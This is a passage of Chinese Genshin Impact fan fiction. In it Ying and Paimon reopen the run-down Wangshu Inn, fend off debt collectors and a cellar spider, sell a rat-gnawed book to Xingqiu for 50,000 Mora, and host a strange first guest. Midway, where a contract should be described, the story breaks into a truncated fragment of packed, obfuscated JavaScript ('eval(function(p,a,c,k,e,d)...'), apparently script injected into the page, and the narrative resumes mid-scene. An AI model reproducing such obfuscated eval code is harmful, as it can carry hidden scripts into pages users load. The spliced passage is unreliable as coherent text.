派蒙飘到她身边，小声安慰道：“荧……要不我们把告示改一下？写上‘债主暂不接待’？” 荧无力地叹气道：“没用的。只要他们看到客栈开业，就会陆续找来的。” 果然被她猜中了。 接下来两小时，陆续来了十三人，全是来要账的。荧每次都得爬绳子接待，手臂疼得钻心，几乎要废了。 木材款五千摩拉 瓷器款八千摩拉 蔬菜款两千摩拉 餐具款六千摩拉 布料款一万摩拉 最后一个农夫更是要求赔偿五十摩拉，理由是前任老板借丢了他家的扫帚。 派蒙震惊地瞪大了眼睛，说道：“扫帚都要赔偿？这也太夸张了吧！” 男人理直气壮地说：“扫帚丢了嘛，自然要赔偿。那可是我家新买的扫帚，质量好得很。” 第十三次爬回楼上，荧彻底虚脱，瘫在地上站不起来。 她有气无力地说：“我……我不行了……再这样爬下去，我迟早会死在爬绳子的路上……” “荧加油！再坚持一下！”派蒙在她身边加油打气。 荧看着布满水泡的手，眼泪在眼眶里打转：“加什么油……我连手都抬不起来了。” 就在这时，楼下又传来了声音，这次是个清脆的女声，听起来很有活力：“有人在吗？望舒客栈重新开业了吗？” 荧虚弱地闭上眼睛，语气里满是绝望地说：“又来了？我真的爬不动了……” 派蒙主动请缨，飘到窗边往下看，很快兴奋地喊道：“我去看看！不是要账的！是个扎双马尾的小姐姐，还带着一只会喷火的小熊猫！” 荧艰难地爬到窗边，看清来人后瞬间愣住。 “香菱？”她认出了对方，是万民堂的厨师，游戏里以厨艺精湛和活力满满闻名。 “荧！”香菱也看到了她，高兴地挥手，“我听说望舒客栈重新开业了，特意来帮忙的！” 荧虚弱地问：“你怎么上来？升降机坏了，只能爬绳子。” 香菱扬了扬下巴，指了指楼下的告示说道：“我知道啊！告示上写了嘛。小事一桩，我爬绳子上去！” “等等！”荧想阻止说爬绳子危险，可话没说完，香菱已经抓着绳子往上爬，动作又快又灵活。 短短两分钟，香菱就爬到了楼上，稳稳地落在地上。 “呼！”她拍了拍手上的灰尘，一点都不累的样子，笑着说，“这个高度还好，比绝云间的山崖矮多了！我经常爬绝云间找食材呢。” 荧暗自腹诽：香菱爬得这么轻松，我却要半条命，穿越后也太弱了，连普通NPC都不如。 香菱兴致勃勃地拉着她往厨房走，高声喊道：“荧，别愣着啦！开业第一天，怎么能没有拿手菜呢？我来帮你做饭！保证让客人吃得满意！” 荧感动得差点落泪，哽咽道：“香菱，谢谢你……但我们的厨房，可能和你想的不太一样。” 香菱信心满满地摆摆手说：“没关系！我什么厨房都用过！再简陋的条件我都能做出好吃的！锅巴，我们走！” 说着，她推开了厨房的门。 推开门后，香菱瞬间僵住。 足足三秒，她都没动一下。 看着锈迹斑斑的炉灶、缺柄的铁锅、裂缝的菜板和过期食材，香菱难以置信地问：“这真的是厨房？” 荧尴尬地挠了挠头，说道：“是的……前任老板走得太匆忙，没留下什么好用的厨具。” 香菱试着点火，炉灶勉强冒出微弱火苗还带焦糊味，她震惊道：“这炉灶怕不是上古文物？火力又弱又不稳！” “可能……吧……”荧的声音越来越小。 香菱沉默了很久，最后深吸一口气，眼神重新变得坚定：“没关系！厨具不行我来凑！我现在回万民堂借套锅来！厨师最重要的是厨艺，不是设备！锅巴，我们走！” 说完，她风风火火地爬绳子下去，动作比上来时还快。 荧看着她的背 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香菱举着只剩锅沿的铁锅，彻底懵了，崩溃道：“锅底掉了？这是万民堂特制的锅，从来没坏过！” 荧蹲下来检查，很快找到原因：“是炉灶的问题，火力失控，温度太高烧穿了锅底。” 香菱看着地上散落的菜，又看了看手里的破锅，肩膀慢慢垂了下来，语气里满是愧疚地说：“对不起……” 荧赶紧站起来安慰她，疑惑地问：“啊？为什么要道歉？” 香菱小声回应，眼圈都有点红了：“我不仅没帮上忙，还把万民堂的锅弄坏了……卯师傅知道了肯定会生气的。” 荧连忙摆手，语气坚定地反驳：“不是你的问题！是这个破客栈的问题！是这破炉灶的问题！锅的钱我来赔！” 话刚说完，她就后悔了。 荧暗自抓狂：我就八百摩拉，连修升降机都不够，怎么赔特制铁锅？这客栈到底被下了什么诅咒！ 香菱摇摇头，吸了吸鼻子，努力挤出一个笑容说：“不用赔。是我太自信了，以为不管什么厨房都能用……不能怪你。” 派蒙看着地上的菜，眼泪在眼眶里打转，惋惜地说：“明明闻起来那么香……好不容易盼来的美食就这么没了。” 香菱小声提议道：“要不……我回万民堂给你们带点做好的饭菜过来？就当是我赔罪了。” 荧赶紧摆手说：“不用了不用了。你已经帮大忙了，真的。是我们客栈太破，委屈你了。” 香菱抱着没有底的锅，沮丧地往门口走，走到门口时又停下来转头说：“那我先回去了……对了，万民堂的锅都是卯师傅特制的，结实又好用。你们以后要是想定制厨具，可以去找他，就说是我介绍的，他会给优惠的。” 目送香菱爬下去后，荧重重叹气，整个人都蔫了。 她有气无力地对派蒙说：“我现在严重怀疑，这个客栈是不是被诅咒了。” “为什么这么说？”派蒙飘过来问。 荧掰着手指，绝望道：“升降机坏、炉灶烧锅、漏水、蜘蛛网清不完，开业全是债主，连香菱都被连累，这不是被诅咒了是什么？” 荧趴在吧台上，语气沉重：“何止倒霉，简直是倒霉透顶，非酋体质果然跨位面都摆脱不了。” 就在这时，楼下又传来了声音，这次是个苍老的女声：“有人在吗？望舒客栈开门了吗？” 荧虚弱抬头，眼神麻木：“又来了？我真的爬不动了。” 派蒙再次主动飘到窗边，看了一眼后说道：“我去看看！是个老太太，拄着拐杖，看起来很和蔼的样子。” “和蔼也没用，大概率还是要账的。”荧叹气，仍艰难起身准备爬绳子。 五分钟后，她终于落地，扶着前台才站稳。 一位头发花白的老太太拄着拐杖站在前台前，身形佝偻却声音洪亮：“你是望舒客栈的新老板吧？”荧喘着粗气，勉强挤出笑容：“是……是的，您有什么事？” 老太太带着不满说：“你们前任老板三年前借了我孙子的弹弓，至今未还。那是他爹亲手做的，孩子天天念叨。” 荧彻底愣住，半天回过神：“弹……弹弓？” 老太太点头，从口袋里掏出一张皱巴巴的纸条说道：“对，就是小孩子玩的弹弓。这是我记的账，上面写着三年前借的，你看看。” 派蒙小声吐槽：“前任老板连小孩的弹弓都借，还拖了三年，太过分了！” 荧赶紧接过纸条，连忙承诺：“您稍等，我一定帮您找到！” 她再次往楼上爬，每爬一节都要歇，胳膊疼得钻心。 十分钟后，她和派蒙在地窖的过期食材堆里，找到了脏兮兮的弹弓。 派蒙举起弹弓：“找到了！被长蘑菇的杏仁豆腐压着，好脏啊！” 荧用抹布擦干净弹弓，又艰难地爬下楼。 她把弹弓递给老太太，歉意道：“实在抱歉，放太久有点脏。” 老太太接过弹弓，眯着眼睛仔细检查了一番，确认是自己要找的那把后，满意地点点头：“嗯，就是这个。我孙子看到肯定高兴。小姑娘，谢谢你啊。” “不客气。”荧松了口气，浑身力气都被抽干了。 老太太收好弹弓，走了几步又回头，意味深长地说：“小姑娘，你这客栈地方好，就是运气差了些。” “什么意思？”荧愣住了。 “自己想想吧。”老太太没多解释，拄着拐杖慢慢离开。 荧呆立原地，琢磨着老太太的话。 地方好？运气差？ 荧暗自吐槽：这客栈除了地理位置好全是问题，还欠着巨额债务，运气差到极点！ “荧，我们上去吧。”派蒙飘过来说。 “嗯。”荧拖着疲惫的身体，开始第十五次爬绳子，每一秒都是煎熬。 夕阳西下，金色余晖透过木板缝隙照进客栈，染出悲壮的色彩。 荧瘫在吧台后，写下开业第一天营业报告： 营业额0摩拉 客流量15人（1个要弹弓，14个要账） 菜品销售0份 厨房事故1起（锅底脱落） 爬绳子次数15次。 她扔掉笔，自嘲道：“完美的零收入。” 派蒙想了半天，安慰道：“至少让全璃月的债主都知道客栈换老板了？” 荧趴在桌上，声音闷闷的：“是让全璃月知道，望舒客栈换了个冤大头。我的手彻底废了，明天肯定爬不动绳子了。” 这时，门外传来礼貌的敲门声，节奏平稳，和之前催债的粗犷喊声截然不同。 荧抬起头，眼神麻木地问：“又来了？这次是借了针线还是柴米？” “我去开门！”派蒙也没抱希望，飘过去拉开门。 门外站着一位穿着考究的中年人，留着整齐小胡子，手持油纸伞，衣着价值不菲。 中年人看到派蒙，微微躬身，礼貌地问：“请问这里是望舒客栈吗？” “是的。”派蒙点头。 中年人恭敬得体地自我介绍：“在下是飞云商会的管家，前来拜访望舒客栈的新老板。” 4. 贵人还是韭菜 中年人开口道：“在下是飞云商会的管家。” 听完这句话，荧的眼睛都快发光了。 飞云商会！ 她脑子里立刻蹦出一堆念头： 投资、合作、采购、大订单！ 升降机有救了，炉灶有救了，五十万债务也有救了！ 荧激动得差点把门拆了，连忙招呼：“请进请进请进！您家少爷呢？快请！里面请！我给您倒茶！” 管家回应道：“少爷在外面，我去叫。”说完便往后招手。 荧赶紧整理了一下头发，又拍了拍身上的灰尘，在心里疯狂给自己打气： 冷静冷静，这是大客户，一定要给人留个好印象！ 很快，一个穿青色长袍的年轻人慢悠悠走过来，手里拿着折扇，看起来斯斯文文的，整个人透着股书卷气。 行秋！荧立刻认出来了—— 游戏里的四星水系角色，飞云商会二少爷，璃月有名的公子哥。 她立刻脑补了一百种可能： 飞云商会要在客栈开分部？要采购客栈的食材？ 还是要投资翻新客栈、签长期合作协议？ 不管是哪个，都能解决她现在的燃眉之急啊！ 荧激动得差点鞠躬，连忙招呼：“行秋少爷！里面请，我这就给您泡茶——哦不对，我们的茶具坏了，要不您坐着歇会儿？” 行秋温和地笑着，先礼貌地拒绝：“不用麻烦。” 随即又慢悠悠地问道：“我想请问，《璃月奇侠传》第三卷在哪？” 空气安静了三秒。 荧怀疑自己听错了，愣愣地反问：“……啥？” 行秋依然温和地笑着，重复了一遍：“《璃月奇侠传》第三卷。听说前任老板收藏了这本书，我特意来购买的。” 荧的声音有点飘，不敢置信地确认：“买……买书？” 行秋理所当然地点头：“对啊。” 他玩着手上的扇子，语气轻松地说：“我这次来，就是来投‘资’的嘛。” 投资——投话本资料库的资。 荧的笑容一点一点凝固，她慢慢转头看向管家。 管家尴尬地咳了一声，小声提醒：“呃……少爷，您之前不是说要来谈生意吗……” 行秋不解地反问：“这就是生意啊。买书不是生意吗？我出钱，客栈出书，这不就是正常的商业交易吗？” 派蒙在旁边小声跟荧说：“荧，我怎么觉得……” “闭嘴。”荧深吸一口气，努力保持着微笑，在心里狂骂： 游戏里你就是个话本狂魔！ 写同人文写到走火入魔！ 穿越了还是一样！能不能有点别的爱好啊！ 投资客栈不好吗！采购食材不行吗！非要买破书！ 荧努力挤出营业笑容，说道：“那个……行秋少爷……您稍等哈，我这就去找。” “麻烦了。”行秋依然保持着温和的笑容，然后自己在吧台后面找了把椅子坐下，从怀里掏出一本小册子开始看。 荧转身进储物间，派蒙赶紧跟了上来。看着那个黑洞洞的入口，派蒙的脸都绿了，小声抱怨：“又要下地窖……” 荧点燃火把，无奈地说：“而且我有强烈的预感，那只蜘蛛肯定还在下面等着我们。” 派蒙连忙安慰：“别啊！上次都烧了它的窝了！” 荧叹气：“正因为烧了它的窝，它才更记仇啊。走吧，为了钱，豁出去了。” 两人小心翼翼地爬下楼梯，木头依然吱呀吱呀地响，每一步都像踩在荧的心脏上。 到了第二层，她举着火把开始翻柜子。 第一个柜子里全是账本和催债函 第二个柜子里是发霉的旧报纸 直到打开第三个柜子—— 派蒙指着角落的一个箱子，兴奋地喊道：“找到了！这里好多书！” 荧凑过去，箱子里确实堆满了书，但大部分都发霉了。 她一本本翻找： 《璃月风土志》封面都烂了 《岩王帝君传》被虫蛀了好几个洞 《往生堂经营指南》——这什么鬼东西？往生堂还有经营指南？ 《丘丘人语言入门》——前老板学这个干嘛？ 《史莱姆养殖手册》——等等，史莱姆还能养殖的吗？ 荧在心里吐槽：前老板到底收藏了些什么乱七八糟的东西…… 终于，在箱底，她翻到了一本绿色封面的书。 “找到了！《璃月奇侠传》第三卷！”她举起书正要高兴，翻开一看，整个人瞬间僵住了—— 书的后半部分被老鼠啃了一大半，不是啃掉几页，是整整啃掉了四成的内容，剩下的六成边角也全是咬痕，看起来惨不忍睹。 荧抱着残书，绝望地喃喃：“……完了。这玩意儿还能卖钱吗……” 派蒙也傻眼了，附和道：“应该……不能吧？这都被咬成什么样了……” 荧开始盘算，担忧地喃喃：“怎么办……要是行秋要我赔偿怎么办？这本绝版话本肯定很贵吧？会不会要赔几千摩拉？那我刚赚的八百摩拉就全没了……” 就在这时，头顶传来熟悉的“沙沙沙”声。 两人同时僵住，慢慢抬头—— 那只巨大的蜘蛛又出现了，八只眼睛在黑暗里发着诡异的光，正死死盯着她们，而且好像比上次更大了。 荧惊恐地大喊：“又是你？！你是在这安家了吗？” 蜘蛛“嘶嘶”叫了两声，八条腿动了动，似乎在说“对啊，这是我家”。 派蒙的声音在颤抖：“荧……它好像……真的记仇……” 荧一边后退一边吐槽：“废话！上次我们烧了它的窝，它能不记仇吗！” 话音刚落，蜘蛛突然从天花板上跳了下来。 “跑啊啊啊！”荧抱着书往楼梯方向冲，派蒙在前面尖叫着飞。 蜘蛛在后面紧追不舍，八条腿“咔嚓咔嚓”地响，速度快得吓人。 派蒙尖叫着喊道：“它比上次快了！” “别废话！快爬！”荧拼命往楼梯上爬，手都不知道抓哪了，只知道拼命往上。 身后传来蜘蛛的“嘶嘶”声，越来越近。 “啊啊啊它要咬到我了！”派蒙惊恐地大喊。 荧回头一看——蜘蛛就在身后一米的地方！她急中生智，抓起火把往后一扔。火把在空中划过一道弧线，正好砸在蜘蛛脸上。 “嘶——！”蜘蛛被吓了一跳，停了一秒。就是这一秒的间隙，荧冲上了楼梯，爬回一楼。 “快盖上！”荧大喊。 派蒙赶紧帮忙把木板盖上，两人又搬了三个箱子压在上面。 “呼……呼……”荧瘫在地上，手臂上全是刮痕，衣服也破了好几个洞。 她喘着粗气发誓：“我……我发誓……下次再下去……一定要带武器……” 派蒙提醒道：“可是你现在没有武器啊……” “那就……买一把……”荧艰难地爬起来，看了看手里那本残破的书，好在书还在，虽然被啃了，但至少没丢。 “走……去见那个话本狂……”她拖着疲惫的身体回到大厅。 行秋还坐在那里看书，管家站在旁边，一脸生无可恋的表情。 看到荧进来，行秋抬起头，依然保持着温和的微笑，问道：“找到了？” 荧把书递过去，硬着头皮说：“找……找到了……但是……有个小问题……书被老鼠咬了……” 行秋接过书，优雅地翻开，一页、两页、三页…… 他的手突然停住了。 大厅里陷入死一般的沉默。 荧紧张得手心冒汗，在心里不停祈祷： 千万别让我赔钱千万别让我赔钱千万别让我赔钱…… 管家也紧张地看着少爷，派蒙躲在荧背后，大气都不敢出。 三秒、五秒、十秒…… 行秋突然开口，说出三个字：“太好了。” 他的表情还是温和的微笑，语气也依旧平静，就像在说“今天天气不错”，但眼睛却开始发光。 荧和派蒙都满脸困惑，管家则一脸了然——又来了。 荧怀疑自己听错了，愣愣地反问：“太、太好了？这书都被啃成这样了……您说太好了？” “没错。”行秋依然保持着完美的微笑，但声音开始微微颤抖—— 不是害怕的颤抖，是激动的颤抖，“这是鼠啃版啊！” 他站起来，动作依然优雅，但速度明显加快了。 管家试图劝阻：“少爷您冷静一下……” 行秋微笑着回应，语气温和却难掩眼中狂热的光芒：“我很冷静。你们看这咬痕的形状！这是璃月特有的‘书虫鼠’留下的！” 他小心翼翼地翻着书页，动作依然优雅，手却在微微颤抖： “这种老鼠只吃话本！而且专挑精彩的段落啃！所以鼠啃版的书，剩下的都是经过老鼠筛选的精华！” 他的语气依然平和，就像在讨论今天喝的茶，但说出来的话却充满了狂热： “你们看！第二十三章的高潮部分被完整地啃掉了！这给读者留下了无限的想象空间！残缺美啊！这是完整版无法企及的艺术境界！” 荧盯着他，嘴巴微张，在心里吐槽： 这人绝对有病。 表面笑得人畜无害，眼神却跟看到稀世珍宝一样。 而且这什么鬼逻辑？被老鼠吃了反而更好？ 派蒙小声跟荧说：“这人是不是疯了……” “别胡说。”荧也小声回应。 行秋继续兴奋地说：“市面上这种鼠啃版只有三本！三本！懂吗！比完整版值钱十倍！” 管家叹了口气，显然已经习惯了，问道：“少爷，您说多少钱吧。” “五万摩拉。”行秋优雅地坐回椅子上，依然保持着完美的微笑，语气平和得像在说“给我来杯茶”。 “五……五万？！”派蒙的声音差点把房顶掀了。 荧也彻底愣住了——五万？ 一本被老鼠啃的破书值五万？ 她在心里疯狂计算：我在原世界996一个月才八千！ 在这个世界打工一个月赚不到一千！ 结果一本破书就值五万？ 管家也愣了，迟疑地说：“少爷，五万会不会太……” 行秋温和地打断他，脸上笑容毫无波澜地说道：“不多。鼠啃版的《璃月奇侠传》，五万摩拉都是低价了。我甚至觉得有点占便宜。” 他从怀里优雅地掏出一沓契约，动作从容不迫地说： “而且，我希望能和贵客栈签订一个长期协议——‘飞云商会独家供货协议’。以后贵客栈发现任何旧书、古籍、话本，都要第一时间通知我。作为回报，飞云商会将以市场价的两倍收购。” 荧快速扫了一眼契约—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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行秋微笑着解释道：“是的。菲尔戈黛特女士和淮安先生，他们收藏的书籍涉猎很广。从话本到古籍，从史书到杂记，甚至还有一些很稀有的孤本。你们有空多去地窖翻翻，说不定还有意外之喜。” 说完，他就优雅地离开了，管家提着茶具跟在后面。 临走前，管家回头看了荧一眼，眼神里满是同情和无奈—— 显然，他经常陪少爷买这种“宝贝”，早就习惯了。 门关上后，荧和派蒙呆呆地站在原地，沉默了整整十秒。 派蒙小声说：“荧……我们是不是遇到了个疯子？” “疯什么疯？这可是我们第一桶金的金主爸爸！对爸爸说话客气一点！”荧低头看着手里的钱袋，心里默默感恩行秋少爷的恩赐—— 人果然不会一直走背运！ 她打开钱袋，开始一枚一枚地数钱： 一千，两千，三千，四千…… 十分钟后，她确认无误—— 真的是五万摩拉，一枚不多，一枚不少。 派蒙激动地在空中转圈，大喊道：“我们发财了！五万摩拉！五万啊！” 荧拿出纸笔开始算账，虽然嘴上让派蒙冷静，但手却在发抖，她说道： “冷静点。账本余额五万，债务五十万……还欠四十五万。升降机修理费八千，基础厨具一万，修炉灶五千，买食材三千，剩下的……两万九千。” “那可以还债了！”派蒙高兴地说。 荧翻了个白眼，反驳道： “还个屁。欠款是五十万，还两万九根本不够看。而且那些已还清的收据被我们烧了，要是那些商户重复要账，债务可能还会增加。” “那怎么办？”派蒙慌了。 荧把钱小心翼翼地收好，说道： “先不管了。至少现在有钱修升降机了。明天我就去找木匠，把那个破升降机修好。我再也不想爬绳子了。” “对了荧，行秋说地窖里还有很多书……我们要不要再去找找？说不定还能再卖几万摩拉！”派蒙突然想起什么，兴奋地说。 “当然要找！那可都是钱啊！一本破书就能卖五万，要是再找到几本，说不定债务就能还清了！”荧眼睛发亮。 “可是……地窖里有那只蜘蛛……”派蒙瞬间怂了。 “为了钱！蜘蛛算什么！大不了下次带把刀下去！”荧握拳表态。 “那我们什么时候去？”派蒙积极响应。 荧打了个哈欠：“明天，今天爬了十五次绳子，累死了。先休息。” “好。”派蒙乖巧答应。 就在荧准备上楼休息时，派蒙突然神秘兮兮地从怀里掏出一本小册子： “荧你看，这是我在地窖顺手拿的。” 荧接过去一看——《璃月秘闻录》。 她问道：“你什么时候拿的？” “就刚才找书的时候啊。箱子里那么多书，我看这本封面挺新的，就随手塞怀里了。”派蒙理直气壮地说。 “你……算了，先藏起来。说不定这本也值钱。”荧哭笑不得。 “嘿嘿，万一又值好几万呢？”派蒙把书塞回怀里，藏得严严实实。 荧摇了摇头，走到窗边，看着外面的星空。 五万摩拉…… 虽然对于五十万的债务来说只是杯水车薪，但至少是个好的开始。 而且行秋说前老板爱藏书，地窖里还有很多…… 荧在心里盘算： 如果每本书都能卖个几万摩拉，那说不定真的能还清债务…… 不对，先别想那么多，先把客栈修好再说。 “荧，睡觉啦！”派蒙在喊。 “来了。”荧无奈回房，躺在那张会漏水的床上。 虽然还欠四十五万，虽然客栈还是破破烂烂，虽然不知道前老板藏了什么秘密…… 但至少，今天赚到了五万摩拉。 5. 第一个真正的客人 第二天一早，荧就被派蒙摇醒了。 派蒙兴奋地转圈喊道：“荧！我们今天要去修升降机了！(≧?≦)?” 荧睁开眼，瞥了眼窗外刚亮的天，迷迷糊糊地问：“嗯？几点了呀？” 派蒙蹦蹦跳跳地回应：“五点！” 荧翻了个白眼：“五点就把我摇醒？升降机又不会自己跑掉。” 派蒙在空中飘来飘去，依旧兴奋：“可是我太期待了嘛！修好升降机，我们就不用再爬绳子啦！” 荧想了想，点头认同：“也是哦。” 她爬起来，想起昨天爬了十几次绳子的酸痛感还留在手上，当即说道：“走，去璃月港找木匠。” 两人最后一次爬绳子下去，荧在心里默默发誓：这绝对是最后一次！(｀д′)ゞ 她们在璃月港找了家木匠铺，店主是个看起来很靠谱的中年大叔。 他主动问道：“要修什么东西？” 荧说明情况：“是升降机，水车驱动的那种。现在绳子断了，连接水车的部分也卡住了。” 木匠点头应下：“哦，那种机型啊。八千摩拉，包工包料。” “成交！”荧毫不犹豫地答应。 木匠跟着她们来到望舒客栈，扫了眼升降机，检查片刻后说：“绳子断了三根，得全换；水车连接的齿轮锈死了，要拆下来清理；还有这轨道也得修整下。” 荧大气地挥手：“您尽管修！钱不是问题！”话刚出口，她就僵住了。 心里疯狂吐槽：完了完了，我怎么敢说钱不是问题啊！我明明穷得叮当响！(ㄒoㄒ) 木匠随即开工。 一个小时后，他擦了擦汗说道：“升降机修好了，你瞧，水车一转它就自动上下了。” 荧抬眼望去，水车正缓缓转动，升降机跟着平稳上升，到顶后自动下降，循环往复。 她开心地拍手：“太好了！终于不用再爬绳子了！(≧?≦)” 木匠打量了下客栈环境，提醒道：“不过你这客栈在崖顶，只靠升降机一条路可不行。要是有人赶时间，错过自动升降机就得等下一趟。” 荧愣住了：“啊？还有这问题？” 木匠指了指旁边：“我看悬崖边上有条楼梯，要不我顺便帮你修修？这样性子急的客人就能直接走楼梯上来，不用等升降机了。” 荧立刻想起平台拐角处确实有条破楼梯，好几节都塌了。 她问道：“修楼梯要多少钱？” 木匠走过去查看一番：“楼梯塌了五节，得重新铺木板。材料费大概要三千摩拉。” 荧摸了摸钱袋，心里盘算着：修完升降机只剩三万四千摩拉，再花三千的话就更紧张了。 荧试探着问：“能不能便宜点呀？” 木匠摇头：“材料费没法省。除非你自己提供木板。” 荧突然想起之前砍的那些树，立刻说：“我有木板！就在客栈里！” “那行，你拿出来我看看。”木匠说道。 荧把之前砍的木板都搬了出来。木匠扫了眼，皱眉道：“这些木板数量不太够，差大概三分之一。要么你再去砍点树，要么……” 荧急忙追问：“要么什么？” 木匠想了想：“要么我给你做成吊桥式的，能省不少木板。就是用绳子吊着木板的样式，走上去会晃，但能用。而且手工费只收你五百摩拉。” 荧权衡了下钱袋和木板数量，咬牙决定：“就做吊桥吧，省钱要紧。” “好嘞！”木匠应了一声就开工了。 又忙活了两个小时，楼梯终于修好了。大部分是正常的木板，只有中间一段用绳子吊着几块摇摇晃晃的木板。 木匠示意：“这一段就是吊桥，你试试稳固性。” 荧小心翼翼地踩上去，吊桥立刻开始左右摇晃。 她赶紧抓住旁边的绳子，惊呼道：“哇！好晃！” 木匠无奈地笑了笑：“习惯就好了，主要是省材料。而且这样也有好处，急脾气客人走楼梯，慢脾气的坐升降机，各取所需。” 荧扶着绳子，一步一步心惊肉跳地挪过吊桥段。 木匠收起工具说：“好了，没问题了。一共八千五百摩拉，谢谢惠顾。” 荧数了钱给他。 木匠走后，荧站在楼梯旁看着那段摇晃的吊桥，心里叹气： 虽然多了条路，但这吊桥看着比爬绳子还危险，好在坐升降机不用走这儿。 派蒙飘过来安慰：“至少现在有得选啦！(??????)??” “也是。”荧应了一声，转身走回客栈。 “升降机和楼梯都修好了，接下来该准备接客了。”荧说道。 派蒙担忧地皱起脸：“可是客房还是破破烂烂的呀……” 荧摆手解释：“这你就不懂了！这叫侘寂风！讲究的就是残缺美、朴素美，我们客栈这股破旧感，正好契合这种美学！” 派蒙半信半疑：“真的假的呀？” “当然是真的，先这么说准没错。”荧笃定道，“对了，客房窗帘还没买，走，去璃月港挑点布。” “买什么布呀？”派蒙不懂。 “白布，最便宜的那种。”荧理所当然地说，心里默默盘算： 能省一点是一点，现在每一分摩拉都得精打细算。 两人去璃月港买了最便宜的白布，回来挂在客房窗户上。 白墙、白窗帘、打了补丁的白床单，整个房间一片素白。 派蒙小声说：“荧……这看起来好像……” 荧抢先打断：“这是时下最流行的侘寂风！别不懂装懂～” “……好吧。”派蒙妥协了。 傍晚时分，荧坐在吧台后等客人。 一个小时过去，没人来； 两个小时过去，还是空荡荡的。 派蒙趴在吧台上，愁眉苦脸：“会不会没人来住店呀……” 荧也没底，但还是硬着头皮说：“肯定会有人来的。” 就在这时，楼下传来“叮铃铃——”的摇铃声。 派蒙瞬间精神起来，蹦着喊道：“来客人啦！(≧?≦)?” 荧赶紧跑到窗边往下瞧，只见升降机旁站着个壮汉，身高快两米，肌肉鼓鼓的，肩膀上扛着个比他还大的包裹，脸上还有道疤，看着凶神恶煞的。 荧心里一紧：该不会是来要账的吧？ 下一秒，壮汉抬头，用娇滴滴、细声细气的声音喊：“有人吗～” 荧和派蒙同时愣住了—— 这声音和他的外表也差太远了吧，简直像个十几岁的小姑娘！Σ(っ°Д °;)っ 荧回过神，连忙回应：“有有有！您是要住店吗？” 壮汉娇声说：“对呀，人家要住三天。” “您稍等！我马上下来！”荧说完，快速打量了下升降机和楼梯： 升降机正好在下面，等它上下一趟得好几分钟； 楼梯虽然要过吊桥，但肯定更快。 她咬牙决定：“走楼梯下去！” 荧冲向楼梯往下跑，前面几节都很平稳，一踩上吊桥段就慌了神： “呜哇！” 吊桥疯狂晃动，她赶紧抓住绳子慢慢挪，心里懊悔不已： 早知道就等升降机了，这破吊桥根本没法好好走！/(ㄒoㄒ)/~~ 好不容易挪到地面，荧已经气喘吁吁了。 壮汉正站在原地等着，她凑近打量，发现这人虽然长得凶，眼神却透着点无辜。 荧挤出营业式微笑：“欢迎光临望舒客栈！请问您要住几天？” 壮汉用娇滴滴的声音问：“人家要住三天呀，多少钱钱呀？” 荧努力稳住表情，回答道：“五百摩拉一晚，三天一共一千五，包早餐。” 壮汉从怀里掏出钱袋，细声细气地说：“好呀好呀，人家先付一半，剩下的走的时候再付，可以吗？” “可以可以！”荧连忙答应，接过七百五十摩拉，心里疯狂刷屏： 这反差也太离谱了吧！ 两米高的壮汉配娇滴滴的声音，我的三观要裂开了！○|￣|_ 荧指了指升降机和楼梯，介绍道：“您可以坐升降机上来，也可以走楼梯。升降机比较稳，但要等它自动下来；楼梯快一些，就是中间有段路有点陡。” 壮汉娇声问：“楼梯在哪呀～” 荧指了指方向：“就在那边。” 壮汉扛着包裹往楼梯走，娇声说：“那人家走楼梯，人家性子急～” 荧看着他的背影，突然想起吊桥，连忙喊：“等等！楼梯中间有段吊桥……” 话还没说完，壮汉已经开始爬楼梯了，速度还不慢。 紧接着，一声尖锐的娇柔尖叫从上方传来：“哇呀呀呀——” 显然是他踩到了吊桥段，吊桥开始疯狂晃动。 壮汉的声音拔高了，像受惊的小姑娘：“好晃呀！人家害怕！” 荧大喊：“抓住旁边的绳子！” “人家抓不到！”壮汉回应道。 “慢慢走，别着急！”荧又喊道。 荧站在下面提心吊胆地看着，好在壮汉虽然声音娇柔，身手倒还算灵活，两分钟后终于挪过吊桥，到了客栈门口。 荧松了口气，决定还是等升降机：“我还是乖乖等升降机吧……” 她站上刚好下来的升降机，随着机械的运转平稳上升，直接到了客栈入口。 一进门，就看到壮汉扶着墙喘气。 壮汉用娇滴滴的声音说：“吓死人家了……那个吊桥……好恐怖哦……” 荧尴尬地道歉：“抱歉抱歉，那段楼梯是临时修的。您下次可以坐升降机，就不用走吊桥了。” 壮汉很快缓了过来，说：“没关系啦，人家已经上来了。” 荧推开客房门：“客房在这边，请跟我来。” 壮汉走进房间，皱起眉头，用娇滴滴的声音说：“哎呀，怎么这么冷清呀？白墙、白床、白窗帘，好像灵堂哦。” 荧深吸一口气，露出专业微笑，一本正经地解释：“这位客人，您有所不知，这是时下最流行的侘寂风装修！侘寂是东方美学，讲究残缺美、朴素美和自然美！您看这白墙纯净无暇，这白窗帘素雅简洁，这白床单朴实无华，都是精心设计的！( ? .? ? )?” 壮汉歪着头，声音娇柔地问：“侘寂风？那是什么呀～” 荧继续胡编：“就是追求自然、简约、残缺之美的审美，现在璃月特别流行这个！” 壮汉委屈地瘪瘪嘴，声音软软的：“可是人家觉得好冷清哦，人家喜欢温馨一点、有颜色的那种～” 荧看着两米高的壮汉露出这种神态，感觉自己的理智在崩溃边缘徘徊。 她挤出笑容：“那我去给您加点装饰吧？” 壮汉的眼睛立刻亮了，娇声说：“好呀好呀！要喜庆的哦！(开心)” 荧拉着派蒙赶紧冲出房间，关上门就瘫在了墙上，虚弱地说：“派蒙……我是不是出现幻听了？” 派蒙也懵懵的：“不是幻听，他真的是这个声音~~~~” 荧抓了抓头发，崩溃道：“两米高的壮汉，满脸横肉，声音却像十几岁的小姑娘，这是什么离谱设定啊！” 派蒙提醒：“那现在怎么办？他要喜庆的装饰……” 荧咬牙：“找！赶紧找！” 两人翻箱倒柜找了十分钟，终于凑出一堆东西： 地窖里翻出来的旧红桌布 荧之前剪的红纸 缺了口的茶壶当花瓶 还有几个破旧的小装饰品。 “就这些了，走吧，去布置。”荧拿起东西说道。 回到房间，荧快速布置好： 床头挂红布，窗台摆红纸，桌上放着插了野花的缺口茶壶。 她问道：“您看这样可以吗？” 壮汉打量了下房间，脸色瞬间变了，用娇滴滴的声音惊恐地说：“哎呀！这不是灵堂办喜事吗！” 荧和派蒙都沉默了——白底配红，确实有点诡异。 荧咬牙：“要不我把红的撤了？” 壮汉叹了口气，肩膀垮下来，委屈地说：“算啦算啦，就这样吧，人家反正只住三天～” 荧趁机溜了：“那您先休息，有事随时叫我。” 